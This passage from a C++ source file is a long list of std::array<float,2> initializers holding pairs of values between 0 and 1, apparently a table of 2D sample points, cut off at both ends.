std::array<float,2>{0.0269592479f, 0.10196013f}, std::array<float,2>{0.620422125f, 0.0371126793f}, std::array<float,2>{0.423608184f, 0.844789326f}, std::array<float,2>{0.906953633f, 0.706595004f}, std::array<float,2>{0.203781202f, 0.339188486f}, std::array<float,2>{0.790109634f, 0.494709611f}, std::array<float,2>{0.0892829299f, 0.550182581f}, std::array<float,2>{0.675117731f, 0.958449244f}, std::array<float,2>{0.257600248f, 0.226008207f}, std::array<float,2>{0.778227031f, 0.241731122f}, std::array<float,2>{0.10644868f, 0.952091753f}, std::array<float,2>{0.631495178f, 0.536930621f}, std::array<float,2>{0.29123643f, 0.48202011f}, std::array<float,2>{0.562529683f, 0.321984619f}, std::array<float,2>{0.382294178f, 0.696914434f}, std::array<float,2>{0.890927017f, 0.865528822f}, std::array<float,2>{0.247931555f, 0.0511370488f}, std::array<float,2>{0.71937269f, 0.114951126f}, std::array<float,2>{0.347896636f, 0.764237523f}, std::array<float,2>{0.822365582f, 0.645992398f}, std::array<float,2>{0.0476415902f, 0.270573348f}, std::array<float,2>{0.946992755f, 0.38165465f}, std::array<float,2>{0.137131304f, 0.576143622f}, std::array<float,2>{0.553709269f, 0.924763918f}, std::array<float,2>{0.439038813f, 0.147934869f}, std::array<float,2>{0.924692631f, 0.0034212342f}, std::array<float,2>{0.18843241f, 0.820932984f}, std::array<float,2>{0.602611303f, 0.741680145f}, std::array<float,2>{0.411106706f, 0.352989256f}, std::array<float,2>{0.65727514f, 0.457052946f}, std::array<float,2>{0.274467528f, 0.523069263f}, std::array<float,2>{0.803285062f, 0.984641075f}, std::array<float,2>{0.0704024211f, 0.207478195f}, std::array<float,2>{0.519401193f, 0.16139853f}, std::array<float,2>{0.490063667f, 0.876769662f}, std::array<float,2>{0.99496913f, 0.624933779f}, std::array<float,2>{0.181626618f, 0.435825527f}, std::array<float,2>{0.871994138f, 0.310206026f}, std::array<float,2>{0.00534018828f, 0.677782476f}, std::array<float,2>{0.716892362f, 0.790247023f}, std::array<float,2>{0.338989675f, 0.0751550272f}, std::array<float,2>{0.810041606f, 0.0562904775f}, std::array<float,2>{0.0691473335f, 0.869443715f}, std::array<float,2>{0.667921841f, 0.694468737f}, std::array<float,2>{0.269818842f, 0.317648262f}, std::array<float,2>{0.59632802f, 0.469214112f}, std::array<float,2>{0.414786905f, 0.543044508f}, std::array<float,2>{0.932879984f, 0.945065916f}, std::array<float,2>{0.198407695f, 0.243756756f}, std::array<float,2>{0.706151128f, 0.152294546f}, std::array<float,2>{0.332003564f, 0.931784332f}, std::array<float,2>{0.865779161f, 0.562637925f}, std::array<float,2>{0.0127446949f, 0.383675307f}, std::array<float,2>{0.990862429f, 0.280636877f}, std::array<float,2>{0.174962237f, 0.648742795f}, std::array<float,2>{0.530834556f, 0.752899349f}, std::array<float,2>{0.492788255f, 0.118686318f}, std::array<float,2>{0.899018407f, 0.21358335f}, std::array<float,2>{0.237730727f, 0.994748056f}, std::array<float,2>{0.571485996f, 0.524345279f}, std::array<float,2>{0.390226573f, 0.462133616f}, std::array<float,2>{0.634722829f, 0.344059438f}, std::array<float,2>{0.287070602f, 0.746644437f}, std::array<float,2>{0.767629683f, 0.814264119f}, std::array<float,2>{0.0938768685f, 0.01332983f}, std::array<float,2>{0.556168497f, 0.0690609068f}, std::array<float,2>{0.451477349f, 0.786815822f}, std::array<float,2>{0.940544784f, 0.683303714f}, std::array<float,2>{0.12917839f, 0.301125824f}, std::array<float,2>{0.813852072f, 0.422112048f}, std::array<float,2>{0.0619842112f, 0.611768603f}, std::array<float,2>{0.729898214f, 0.885775864f}, std::array<float,2>{0.356878489f, 0.167707369f}, std::array<float,2>{0.858106732f, 0.174734846f}, std::array<float,2>{0.0181858409f, 0.892472565f}, std::array<float,2>{0.694883704f, 0.606082916f}, std::array<float,2>{0.317984402f, 0.409148812f}, std::array<float,2>{0.50760293f, 0.28661567f}, std::array<float,2>{0.470089257f, 0.661795795f}, std::array<float,2>{0.970144629f, 0.797355413f}, std::array<float,2>{0.161632359f, 0.0931288674f}, std::array<float,2>{0.684320033f, 0.026814051f}, std::array<float,2>{0.260144532f, 0.831811786f}, std::array<float,2>{0.784554362f, 0.722941697f}, std::array<float,2>{0.0783318132f, 0.367847174f}, std::array<float,2>{0.917892158f, 0.444508076f}, std::array<float,2>{0.215126663f, 0.502625704f}, std::array<float,2>{0.610922396f, 0.983285487f}, std::array<float,2>{0.436006427f, 0.190643281f}, std::array<float,2>{0.965758443f, 0.0992614627f}, std::array<float,2>{0.154723033f, 0.774476171f}, std::array<float,2>{0.54548198f, 0.631091654f}, std::array<float,2>{0.465927631f, 0.263587564f}, std::array<float,2>{0.739626408f, 0.395605147f}, std::array<float,2>{0.361661136f, 0.584711492f}, std::array<float,2>{0.83217001f, 0.921495974f}, std::array<float,2>{0.0391361751f, 0.138165414f}, std::array<float,2>{0.590017498f, 0.231275335f}, std::array<float,2>{0.404696554f, 0.96556747f}, std::array<float,2>{0.875576556f, 0.560887337f}, std::array<float,2>{0.229026884f, 0.485596955f}, std::array<float,2>{0.750794768f, 0.328590184f}, std::array<float,2>{0.120083891f, 0.716871679f}, std::array<float,2>{0.645359933f, 0.857260764f}, std::array<float,2>{0.298499227f, 0.0397563092f}, std::array<float,2>{0.797466993f, 0.096686855f}, std::array<float,2>{0.0774619281f, 0.779611766f}, std::array<float,2>{0.661808312f, 0.627625406f}, std::array<float,2>{0.279791355f, 0.258550107f}, std::array<float,2>{0.608023345f, 0.394519508f}, std::array<float,2>{0.407365173f, 0.578864992f}, std::array<float,2>{0.92700237f, 0.915060759f}, std::array<float,2>{0.191660747f, 0.136544719f}, std::array<float,2>{0.711510122f, 0.229300082f}, std::array<float,2>{0.342431158f, 0.962884605f}, std::array<float,2>{0.869200468f, 0.555078506f}, std::array<float,2>{0.00183190487f, 0.491780013f}, std::array<float,2>{0.999158919f, 0.333009064f}, std::array<float,2>{0.187335685f, 0.711244464f}, std::array<float,2>{0.522050083f, 0.853356242f}, std::array<float,2>{0.4868384f, 0.0434280559f}, std::array<float,2>{0.89667511f, 0.176811069f}, std::array<float,2>{0.245285243f, 0.894667029f}, std::array<float,2>{0.570077538f, 0.60191977f}, std::array<float,2>{0.375779629f, 0.411023855f}, std::array<float,2>{0.626835167f, 0.281762511f}, std::array<float,2>{0.295365065f, 0.659870088f}, std::array<float,2>{0.77614063f, 0.802734852f}, std::array<float,2>{0.104866907f, 0.0864959359f}, std::array<float,2>{0.549219429f, 0.0305541512f}, std::array<float,2>{0.442534506f, 0.83379811f}, std::array<float,2>{0.951096058f, 0.719585657f}, std::array<float,2>{0.133299813f, 0.373310238f}, std::array<float,2>{0.824522972f, 0.437863201f}, std::array<float,2>{0.0528645553f, 0.505157113f}, std::array<float,2>{0.723144412f, 0.976617277f}, std::array<float,2>{0.34456718f, 0.193565249f}, std::array<float,2>{0.850265026f, 0.215859532f}, std::array<float,2>{0.0299731437f, 0.997697294f}, std::array<float,2>{0.701072752f, 0.529829741f}, std::array<float,2>{0.325844586f, 0.466475844f}, std::array<float,2>{0.514862597f, 0.348161966f}, std::array<float,2>{0.476640046f, 0.744120717f}, std::array<float,2>{0.983262956f, 0.817922413f}, std::array<float,2>{0.16948989f, 0.0100551611f}, std::array<float,2>{0.679479778f, 0.0656360686f}, std::array<float,2>{0.253758401f, 0.784491003f}, std::array<float,2>{0.794136226f, 0.683948636f}, std::array<float,2>{0.0904821008f, 0.297355682f}, std::array<float,2>{0.913199544f, 0.429578871f}, std::array<float,2>{0.209092185f, 0.614946604f}, std::array<float,2>{0.621752262f, 0.886954188f}, std::array<float,2>{0.426143438f, 0.170078188f}, std::array<float,2>{0.954066277f, 0.0590634122f}, std::array<float,2>{0.147065118f, 0.872472405f}, std::array<float,2>{0.532283962f, 0.691180587f}, std::array<float,2>{0.459779352f, 0.316339225f}, std::array<float,2>{0.746029019f, 0.473369271f}, std::array<float,2>{0.370882928f, 0.539264262f}, std::array<float,2>{0.836576879f, 0.939947128f}, std::array<float,2>{0.0365027338f, 0.246764854f}, std::array<float,2>{0.581931591f, 0.155631602f}, std::array<float,2>{0.392434388f, 0.936680853f}, std::array<float,2>{0.88389194f, 0.568304181f}, std::array<float,2>{0.225505903f, 0.386927515f}, std::array<float,2>{0.760102391f, 0.277078956f}, std::array<float,2>{0.112062685f, 0.653307915f}, std::array<float,2>{0.65306586f, 0.756202102f}, std::array<float,2>{0.306242317f, 0.122884817f}, std::array<float,2>{0.828754842f, 0.00762577122f}, std::array<float,2>{0.0459883884f, 0.8249228f}, std::array<float,2>{0.735232055f, 0.735361099f}, std::array<float,2>{0.365429789f, 0.356211245f}, std::array<float,2>{0.5420959f, 0.455219239f}, std::array<float,2>{0.463627368f, 0.5156551f}, std::array<float,2>{0.962022603f, 0.98979938f}, std::array<float,2>{0.151045069f, 0.206525236f}, std::array<float,2>{0.642720699f, 0.157715365f}, std::array<float,2>{0.30174759f, 0.882270634f}, std::array<float,2>{0.75680697f, 0.61929971f}, std::array<float,2>{0.124788225f, 0.432426304f}, std::array<float,2>{0.882447898f, 0.305024862f}, std::array<float,2>{0.231657237f, 0.672080219f}, std::array<float,2>{0.587027013f, 0.796410382f}, std::array<float,2>{0.40210852f, 0.0734818056f}, std::array<float,2>{0.974361777f, 0.234795213f}, std::array<float,2>{0.158172205f, 0.94532907f}, std::array<float,2>{0.501553476f, 0.535093546f}, std::array<float,2>{0.474457502f, 0.4767735f}, std::array<float,2>{0.687974095f, 0.32714361f}, std::array<float,2>{0.313504755f, 0.700941563f}, std::array<float,2>{0.855379522f, 0.861088753f}, std::array<float,2>{0.0199397132f, 0.0487663709f}, std::array<float,2>{0.616107404f, 0.1107044f}, std::array<float,2>{0.431731194f, 0.759387493f}, std::array<float,2>{0.918820381f, 0.643268645f}, std::array<float,2>{0.214188576f, 0.266153902f}, std::array<float,2>{0.787668943f, 0.376219541f}, std::array<float,2>{0.0823310092f, 0.57038033f}, std::array<float,2>{0.680024743f, 0.926908791f}, std::array<float,2>{0.263394505f, 0.1423067f}, std::array<float,2>{0.772610068f, 0.128320098f}, std::array<float,2>{0.0979268178f, 0.910649121f}, std::array<float,2>{0.637533844f, 0.592360079f}, std::array<float,2>{0.282388449f, 0.399400175f}, std::array<float,2>{0.578071952f, 0.254212707f}, std::array<float,2>{0.384722799f, 0.63677305f}, std::array<float,2>{0.905479372f, 0.769884109f}, std::array<float,2>{0.240092933f, 0.107188568f}, std::array<float,2>{0.734223068f, 0.0335765295f}, std::array<float,2>{0.355313301f, 0.849477708f}, std::array<float,2>{0.81918782f, 0.708900392f}, std::array<float,2>{0.0584441125f, 0.341470212f}, std::array<float,2>{0.944125593f, 0.498196423f}, std::array<float,2>{0.127285674f, 0.55332768f}, std::array<float,2>{0.559986115f, 0.95561552f}, std::array<float,2>{0.446351409f, 0.220058829f}, std::array<float,2>{0.933996201f, 0.0799245611f}, std::array<float,2>{0.202825263f, 0.804884136f}, std::array<float,2>{0.599139631f, 0.665370345f}, std::array<float,2>{0.419414401f, 0.294429541f}, std::array<float,2>{0.67185092f, 0.420435816f}, std::array<float,2>{0.266436756f, 0.595254362f}, std::array<float,2>{0.805541575f, 0.900207341f}, std::array<float,2>{0.0638054013f, 0.185815379f}, std::array<float,2>{0.523812711f, 0.201406881f}, std::array<float,2>{0.49687165f, 0.971368134f}, std::array<float,2>{0.986464262f, 0.510008514f}, std::array<float,2>{0.178390339f, 0.447960228f}, std::array<float,2>{0.862391174f, 0.363536328f}, std::array<float,2>{0.010239617f, 0.73071748f}, std::array<float,2>{0.707654357f, 0.843087971f}, std::array<float,2>{0.334392399f, 0.0165006388f}, std::array<float,2>{0.873660207f, 0.0756715015f}, std::array<float,2>{0.00710589485f, 0.789128482f}, std::array<float,2>{0.715209424f, 0.679653347f}, std::array<float,2>{0.337861806f, 0.308602154f}, std::array<float,2>{0.517050683f, 0.437448949f}, std::array<float,2>{0.492094398f, 0.623584151f}, std::array<float,2>{0.99299854f, 0.875054181f}, std::array<float,2>{0.182661742f, 0.160309076f}, std::array<float,2>{0.659090817f, 0.208932951f}, std::array<float,2>{0.277204603f, 0.986142218f}, std::array<float,2>{0.802672982f, 0.522379577f}, std::array<float,2>{0.0740471184f, 0.458867818f}, std::array<float,2>{0.923438251f, 0.351949334f}, std::array<float,2>{0.19012779f, 0.741017401f}, std::array<float,2>{0.605352283f, 0.822010159f}, std::array<float,2>{0.412388295f, 0.00236895867f}, std::array<float,2>{0.94846952f, 0.146617174f}, std::array<float,2>{0.139880076f, 0.925440609f}, std::array<float,2>{0.55143404f, 0.57453537f}, std::array<float,2>{0.440415591f, 0.382359028f}, std::array<float,2>{0.722343445f, 0.270486087f}, std::array<float,2>{0.349939197f, 0.645404339f}, std::array<float,2>{0.821342409f, 0.765267849f}, std::array<float,2>{0.0494210869f, 0.113872983f}, std::array<float,2>{0.565137923f, 0.0519730113f}, std::array<float,2>{0.379137039f, 0.8668437f}, std::array<float,2>{0.893131912f, 0.695746958f}, std::array<float,2>{0.249825075f, 0.320655197f}, std::array<float,2>{0.780645072f, 0.481107146f}, std::array<float,2>{0.108308136f, 0.535867035f}, std::array<float,2>{0.630215764f, 0.952538848f}, std::array<float,2>{0.290990174f, 0.240704522f}, std::array<float,2>{0.791687965f, 0.225149482f}, std::array<float,2>{0.086384289f, 0.957365036f}, std::array<float,2>{0.673618734f, 0.549508095f}, std::array<float,2>{0.254516929f, 0.495514899f}, std::array<float,2>{0.618549109f, 0.338130623f}, std::array<float,2>{0.42446658f, 0.705100298f}, std::array<float,2>{0.909997046f, 0.844085336f}, std::array<float,2>{0.205262646f, 0.0381671824f}, std::array<float,2>{0.698510349f, 0.103249602f}, std::array<float,2>{0.321252048f, 0.767510295f}, std::array<float,2>{0.847312987f, 0.633479655f}, std::array<float,2>{0.0249328874f, 0.250848532f}, std::array<float,2>{0.976904929f, 0.403912336f}, std::array<float,2>{0.166120782f, 0.588664234f}, std::array<float,2>{0.51097852f, 0.908627808f}, std::array<float,2>{0.482287049f, 0.132237554f}, std::array<float,2>{0.888076603f, 0.0229328405f}, std::array<float,2>{0.221360281f, 0.837929189f}, std::array<float,2>{0.583308578f, 0.73002404f}, std::array<float,2>{0.395534098f, 0.360726088f}, std::array<float,2>{0.649452329f, 0.451860785f}, std::array<float,2>{0.309523731f, 0.515007257f}, std::array<float,2>{0.764446139f, 0.973321378f}, std::array<float,2>{0.117093518f, 0.198395342f}, std::array<float,2>{0.536310792f, 0.179823488f}, std::array<float,2>{0.453260243f, 0.903181136f}, std::array<float,2>{0.957680583f, 0.59864068f}, std::array<float,2>{0.14164193f, 0.416647643f}, std::array<float,2>{0.842260301f, 0.289550841f}, std::array<float,2>{0.0324640647f, 0.669222057f}, std::array<float,2>{0.747015715f, 0.810287535f}, std::array<float,2>{0.374036729f, 0.0847021341f}, std::array<float,2>{0.753691852f, 0.0409993604f}, std::array<float,2>{0.118693441f, 0.855939925f}, std::array<float,2>{0.648112535f, 0.718192995f}, std::array<float,2>{0.299086034f, 0.329241067f}, std::array<float,2>{0.592667937f, 0.485340089f}, std::array<float,2>{0.402715415f, 0.561647952f}, std::array<float,2>{0.877088428f, 0.966207027f}, std::array<float,2>{0.226742417f, 0.23161976f}, std::array<float,2>{0.740473211f, 0.136966109f}, std::array<float,2>{0.360545546f, 0.920252264f}, std::array<float,2>{0.834736943f, 0.585438013f}, std::array<float,2>{0.0411965251f, 0.394925743f}, std::array<float,2>{0.968215406f, 0.262460321f}, std::array<float,2>{0.152933359f, 0.632306695f}, std::array<float,2>{0.543731868f, 0.773480952f}, std::array<float,2>{0.468728125f, 0.0976572484f}, std::array<float,2>{0.914943337f, 0.189974919f}, std::array<float,2>{0.217743054f, 0.983653247f}, std::array<float,2>{0.613176525f, 0.503573775f}, std::array<float,2>{0.434281349f, 0.444111586f}, std::array<float,2>{0.685763776f, 0.368407041f}, std::array<float,2>{0.259564072f, 0.724136949f}, std::array<float,2>{0.782137752f, 0.830737114f}, std::array<float,2>{0.0814869255f, 0.0255380198f}, std::array<float,2>{0.504253626f, 0.0918519944f}, std::array<float,2>{0.472033352f, 0.79834038f}, std::array<float,2>{0.970948279f, 0.660850286f}, std::array<float,2>{0.162167743f, 0.285396218f}, std::array<float,2>{0.856175363f, 0.410012096f}, std::array<float,2>{0.0168071706f, 0.607329249f}, std::array<float,2>{0.692814887f, 0.890981972f}, std::array<float,2>{0.318965107f, 0.174899876f}, std::array<float,2>{0.816073418f, 0.166079074f}, std::array<float,2>{0.0600775853f, 0.885398269f}, std::array<float,2>{0.727258146f, 0.61233151f}, std::array<float,2>{0.357502908f, 0.42342326f}, std::array<float,2>{0.558548152f, 0.302179992f}, std::array<float,2>{0.450628579f, 0.681773365f}, std::array<float,2>{0.938111246f, 0.785344183f}, std::array<float,2>{0.132349551f, 0.0697615817f}, std::array<float,2>{0.635583043f, 0.0121828197f}, std::array<float,2>{0.288973927f, 0.812564433f}, std::array<float,2>{0.765985847f, 0.747117221f}, std::array<float,2>{0.0969779268f, 0.3454265f}, std::array<float,2>{0.900723338f, 0.461541563f}, std::array<float,2>{0.235910058f, 0.525204301f}, std::array<float,2>{0.572498202f, 0.995150506f}, std::array<float,2>{0.387833804f, 0.214718565f}, std::array<float,2>{0.988667846f, 0.117444605f}, std::array<float,2>{0.17339097f, 0.753753841f}, std::array<float,2>{0.528852344f, 0.65012002f}, std::array<float,2>{0.495432854f, 0.279473752f}, std::array<float,2>{0.704948604f, 0.384519577f}, std::array<float,2>{0.329487324f, 0.564034224f}, std::array<float,2>{0.863571465f, 0.932697415f}, std::array<float,2>{0.015019225f, 0.150799632f}, std::array<float,2>{0.5956828f, 0.242299885f}, std::array<float,2>{0.4177953f, 0.944278121f}, std::array<float,2>{0.929947972f, 0.544468999f}, std::array<float,2>{0.196222618f, 0.470335454f}, std::array<float,2>{0.812108219f, 0.316893399f}, std::array<float,2>{0.0677107126f, 0.693842053f}, std::array<float,2>{0.665223539f, 0.8709566f}, std::array<float,2>{0.272220612f, 0.0550093725f}, std::array<float,2>{0.774325907f, 0.0895527825f}, std::array<float,2>{0.102409251f, 0.80128181f}, std::array<float,2>{0.628775656f, 0.657171428f}, std::array<float,2>{0.293139994f, 0.283977836f}, std::array<float,2>{0.567683399f, 0.41238308f}, std::array<float,2>{0.378802449f, 0.604155421f}, std::array<float,2>{0.896126807f, 0.897977352f}, std::array<float,2>{0.243323967f, 0.179200366f}, std::array<float,2>{0.726381183f, 0.192369759f}, std::array<float,2>{0.346140802f, 0.97995615f}, std::array<float,2>{0.82692802f, 0.50650239f}, std::array<float,2>{0.0523367338f, 0.441060007f}, std::array<float,2>{0.952907324f, 0.372148752f}, std::array<float,2>{0.135919437f, 0.721171975f}, std::array<float,2>{0.547107399f, 0.834508657f}, std::array<float,2>{0.444028616f, 0.0282119215f}, std::array<float,2>{0.928401411f, 0.134160236f}, std::array<float,2>{0.194965541f, 0.916314721f}, std::array<float,2>{0.606530786f, 0.581868887f}, std::array<float,2>{0.409095138f, 0.391493618f}, std::array<float,2>{0.662528872f, 0.261197686f}, std::array<float,2>{0.277968436f, 0.625494242f}, std::array<float,2>{0.79952544f, 0.778038442f}, std::array<float,2>{0.0751538649f, 0.0938884765f}, std::array<float,2>{0.520650208f, 0.0463099033f}, std::array<float,2>{0.484410286f, 0.854363382f}, std::array<float,2>{0.997220278f, 0.714126468f}, std::array<float,2>{0.185444489f, 0.334386081f}, std::array<float,2>{0.867812157f, 0.490076274f}, std::array<float,2>{0.00390456803f, 0.558565199f}, std::array<float,2>{0.713459492f, 0.962922513f}, std::array<float,2>{0.341266483f, 0.22691378f}, std::array<float,2>{0.838888466f, 0.248634294f}, std::array<float,2>{0.0376001112f, 0.937586129f}, std::array<float,2>{0.74273783f, 0.542855561f}, std::array<float,2>{0.368934631f, 0.47499162f}, std::array<float,2>{0.5346542f, 0.313000679f}, std::array<float,2>{0.457258999f, 0.688163996f}, std::array<float,2>{0.955842018f, 0.873692036f}, std::array<float,2>{0.144961476f, 0.0619694367f}, std::array<float,2>{0.654877961f, 0.123092838f}, std::array<float,2>{0.30755645f, 0.754189491f}, std::array<float,2>{0.758763552f, 0.654376626f}, std::array<float,2>{0.109886073f, 0.273457646f}, std::array<float,2>{0.885959744f, 0.389886469f}, std::array<float,2>{0.223076567f, 0.570188105f}, std::array<float,2>{0.578546345f, 0.934129953f}, std::array<float,2>{0.394284457f, 0.153957084f}, std::array<float,2>{0.980941355f, 0.00924481079f}, std::array<float,2>{0.171142772f, 0.819546878f}, std::array<float,2>{0.512673795f, 0.74517417f}, std::array<float,2>{0.479825258f, 0.350557387f}, std::array<float,2>{0.702339292f, 0.467678934f}, std::array<float,2>{0.326617807f, 0.528416932f}, std::array<float,2>{0.849408388f, 0.998831868f}, std::array<float,2>{0.028199371f, 0.2184342f}, std::array<float,2>{0.62481457f, 0.168450028f}, std::array<float,2>{0.428184807f, 0.889605522f}, std::array<float,2>{0.911561787f, 0.617178977f}, std::array<float,2>{0.207330555f, 0.427358925f}, std::array<float,2>{0.796853423f, 0.300779283f}, std::array<float,2>{0.0923644155f, 0.686070442f}, std::array<float,2>{0.67751509f, 0.781648338f}, std::array<float,2>{0.250637293f, 0.0630166829f}, std::array<float,2>{0.852421403f, 0.0500218682f}, std::array<float,2>{0.0218039658f, 0.862094641f}, std::array<float,2>{0.689941227f, 0.701489329f}, std::array<float,2>{0.314476937f, 0.324600965f}, std::array<float,2>{0.502480447f, 0.479762048f}, std::array<float,2>{0.474752605f, 0.531275392f}, std::array<float,2>{0.975347936f, 0.94736433f}, std::array<float,2>{0.158467039f, 0.236632988f}, std::array<float,2>{0.682318211f, 0.143103629f}, std::array<float,2>{0.264740109f, 0.929360628f}, std::array<float,2>{0.785825193f, 0.572995245f}, std::array<float,2>{0.0848759264f, 0.377119154f}, std::array<float,2>{0.921342731f, 0.267697632f}, std::array<float,2>{0.211676359f, 0.641373396f}, std::array<float,2>{0.614918292f, 0.761314094f}, std::array<float,2>{0.430652738f, 0.112012021f}, std::array<float,2>{0.963688672f, 0.204899922f}, std::array<float,2>{0.150128782f, 0.991487324f}, std::array<float,2>{0.540079296f, 0.518330336f}, std::array<float,2>{0.462317258f, 0.45352155f}, std::array<float,2>{0.736762404f, 0.357926548f}, std::array<float,2>{0.364420176f, 0.737217784f}, std::array<float,2>{0.831962883f, 0.828117311f}, std::array<float,2>{0.0445268266f, 0.00538767967f}, std::array<float,2>{0.588003099f, 0.0707650483f}, std::array<float,2>{0.399010748f, 0.794284642f}, std::array<float,2>{0.879704595f, 0.673958182f}, std::array<float,2>{0.233167708f, 0.307347208f}, std::array<float,2>{0.754842341f, 0.430699736f}, std::array<float,2>{0.121534824f, 0.617550433f}, std::array<float,2>{0.641018927f, 0.880840898f}, std::array<float,2>{0.304405361f, 0.159618482f}, std::array<float,2>{0.807195663f, 0.184608176f}, std::array<float,2>{0.0651124865f, 0.902074397f}, std::array<float,2>{0.668175697f, 0.597401798f}, std::array<float,2>{0.269283205f, 0.418767959f}, std::array<float,2>{0.599664688f, 0.295736194f}, std::array<float,2>{0.4201729f, 0.667229354f}, std::array<float,2>{0.936092794f, 0.807405472f}, std::array<float,2>{0.200481519f, 0.0815132111f}, std::array<float,2>{0.710536838f, 0.0192335993f}, std::array<float,2>{0.332083583f, 0.840052307f}, std::array<float,2>{0.859877646f, 0.733418047f}, std::array<float,2>{0.00892156642f, 0.367117465f}, std::array<float,2>{0.984388292f, 0.44577387f}, std::array<float,2>{0.176518396f, 0.508809805f}, std::array<float,2>{0.52583003f, 0.970619142f}, std::array<float,2>{0.498985231f, 0.199271798f}, std::array<float,2>{0.902651191f, 0.108125731f}, std::array<float,2>{0.242092356f, 0.772506833f}, std::array<float,2>{0.575836778f, 0.639111757f}, std::array<float,2>{0.385229111f, 0.257342249f}, std::array<float,2>{0.639329076f, 0.401570797f}, std::array<float,2>{0.284987718f, 0.591389298f}, std::array<float,2>{0.76976645f, 0.913294196f}, std::array<float,2>{0.10103f, 0.125790924f}, std::array<float,2>{0.561234355f, 0.222158208f}, std::array<float,2>{0.447589785f, 0.953683734f}, std::array<float,2>{0.943168581f, 0.552313507f}, std::array<float,2>{0.12596491f, 0.49629283f}, std::array<float,2>{0.816444576f, 0.342663586f}, std::array<float,2>{0.0565933511f, 0.709968626f}, std::array<float,2>{0.731708884f, 0.850352108f}, std::array<float,2>{0.351854146f, 0.0319945887f}, std::array<float,2>{0.823667943f, 0.116140321f}, std::array<float,2>{0.0479862168f, 0.762040555f}, std::array<float,2>{0.720180392f, 0.647887826f}, std::array<float,2>{0.349330753f, 0.271831095f}, std::array<float,2>{0.554358006f, 0.380509615f}, std::array<float,2>{0.438434333f, 0.577132702f}, std::array<float,2>{0.945921719f, 0.922251701f}, std::array<float,2>{0.138517678f, 0.145899758f}, std::array<float,2>{0.63203162f, 0.239280015f}, std::array<float,2>{0.292559177f, 0.949238777f}, std::array<float,2>{0.778836131f, 0.53746295f}, std::array<float,2>{0.105643243f, 0.483601749f}, std::array<float,2>{0.892249584f, 0.322738826f}, std::array<float,2>{0.246311024f, 0.698868692f}, std::array<float,2>{0.563692391f, 0.864156187f}, std::array<float,2>{0.381554484f, 0.0546552837f}, std::array<float,2>{0.995962799f, 0.162426189f}, std::array<float,2>{0.180006832f, 0.878774285f}, std::array<float,2>{0.518549383f, 0.621558189f}, std::array<float,2>{0.488325387f, 0.435360789f}, std::array<float,2>{0.718235254f, 0.310831249f}, std::array<float,2>{0.338523418f, 0.677059889f}, std::array<float,2>{0.872261226f, 0.792162359f}, std::array<float,2>{0.00408656988f, 0.0770012885f}, std::array<float,2>{0.602252543f, 0.00166785985f}, std::array<float,2>{0.411451131f, 0.822737813f}, std::array<float,2>{0.924928486f, 0.739073932f}, std::array<float,2>{0.188801423f, 0.354305476f}, std::array<float,2>{0.804151177f, 0.459448665f}, std::array<float,2>{0.071325615f, 0.521306098f}, std::array<float,2>{0.65677464f, 0.986442447f}, std::array<float,2>{0.27368933f, 0.210823834f}, std::array<float,2>{0.763053775f, 0.195683107f}, std::array<float,2>{0.113961779f, 0.97561723f}, std::array<float,2>{0.651755154f, 0.51214689f}, std::array<float,2>{0.310875148f, 0.450216502f}, std::array<float,2>{0.584921658f, 0.362094581f}, std::array<float,2>{0.39660874f, 0.726982236f}, std::array<float,2>{0.888747454f, 0.837130725f}, std::array<float,2>{0.220655307f, 0.02021062f}, std::array<float,2>{0.749174833f, 0.0832167193f}, std::array<float,2>{0.372896254f, 0.811629951f}, std::array<float,2>{0.840483725f, 0.67093122f}, std::array<float,2>{0.0348663926f, 0.291045964f}, std::array<float,2>{0.959391773f, 0.416002363f}, std::array<float,2>{0.14326559f, 0.599938095f}, std::array<float,2>{0.539001405f, 0.906205058f}, std::array<float,2>{0.456295341f, 0.183148757f}, std::array<float,2>{0.908143461f, 0.0368468612f}, std::array<float,2>{0.204573527f, 0.847064435f}, std::array<float,2>{0.619784594f, 0.704949617f}, std::array<float,2>{0.422188401f, 0.337461948f}, std::array<float,2>{0.674584568f, 0.494119585f}, std::array<float,2>{0.256674826f, 0.547366679f}, std::array<float,2>{0.789346397f, 0.959875464f}, std::array<float,2>{0.0882290527f, 0.22392036f}, std::array<float,2>{0.508763313f, 0.130678058f}, std::array<float,2>{0.484115958f, 0.906707942f}, std::array<float,2>{0.978779495f, 0.587293327f}, std::array<float,2>{0.165182412f, 0.405273557f}, std::array<float,2>{0.843950987f, 0.252205998f}, std::array<float,2>{0.0254712421f, 0.636151433f}, std::array<float,2>{0.696636319f, 0.767724335f}, std::array<float,2>{0.322442144f, 0.105327919f}, std::array<float,2>{0.78414464f, 0.0245832857f}, std::array<float,2>{0.0799344927f, 0.82997638f}, std::array<float,2>{0.685190678f, 0.725864649f}, std::array<float,2>{0.261412323f, 0.369722992f}, std::array<float,2>{0.610315084f, 0.442634612f}, std::array<float,2>{0.436647177f, 0.500506341f}, std::array<float,2>{0.916529059f, 0.980674922f}, std::array<float,2>{0.216136783f, 0.187765136f}, std::array<float,2>{0.69396925f, 0.171885237f}, std::array<float,2>{0.316649705f, 0.892707944f}, std::array<float,2>{0.858621299f, 0.608760476f}, std::array<float,2>{0.0191358309f, 0.406801999f}, std::array<float,2>{0.968995869f, 0.287724167f}, std::array<float,2>{0.160993367f, 0.662768722f}, std::array<float,2>{0.506276071f, 0.79912436f}, std::array<float,2>{0.469358802f, 0.0910189226f}, std::array<float,2>{0.876602769f, 0.233625054f}, std::array<float,2>{0.229516879f, 0.968007267f}, std::array<float,2>{0.591525793f, 0.559353709f}, std::array<float,2>{0.40574953f, 0.487186611f}, std::array<float,2>{0.645977914f, 0.33010605f}, std::array<float,2>{0.297692865f, 0.716072142f}, std::array<float,2>{0.751474798f, 0.858885646f}, std::array<float,2>{0.120518751f, 0.0426252112f}, std::array<float,2>{0.546301723f, 0.0999736488f}, std::array<float,2>{0.465717196f, 0.776846528f}, std::array<float,2>{0.966072619f, 0.629925668f}, std::array<float,2>{0.155625224f, 0.264996141f}, std::array<float,2>{0.833864391f, 0.398196608f}, std::array<float,2>{0.0400888324f, 0.582762122f}, std::array<float,2>{0.73915422f, 0.918143213f}, std::array<float,2>{0.362455726f, 0.139689893f}, std::array<float,2>{0.866211951f, 0.149264947f}, std::array<float,2>{0.0126786865f, 0.931562066f}, std::array<float,2>{0.705968559f, 0.56602639f}, std::array<float,2>{0.330646813f, 0.385173708f}, std::array<float,2>{0.529408336f, 0.278401822f}, std::array<float,2>{0.493862003f, 0.650593758f}, std::array<float,2>{0.991871953f, 0.750260055f}, std::array<float,2>{0.174043104f, 0.121045679f}, std::array<float,2>{0.666505694f, 0.0573276617f}, std::array<float,2>{0.27122438f, 0.868658185f}, 